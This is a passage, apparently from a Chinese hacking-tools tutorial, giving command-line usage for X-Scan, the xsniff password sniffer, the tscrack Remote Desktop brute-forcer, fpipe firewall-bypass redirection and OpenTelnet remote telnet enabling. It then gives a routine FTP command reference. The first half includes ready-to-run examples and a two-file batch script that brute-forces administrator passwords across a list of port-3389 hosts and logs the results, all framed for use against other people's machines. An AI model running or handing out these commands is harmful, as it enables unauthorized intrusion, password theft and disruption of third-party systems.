 -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值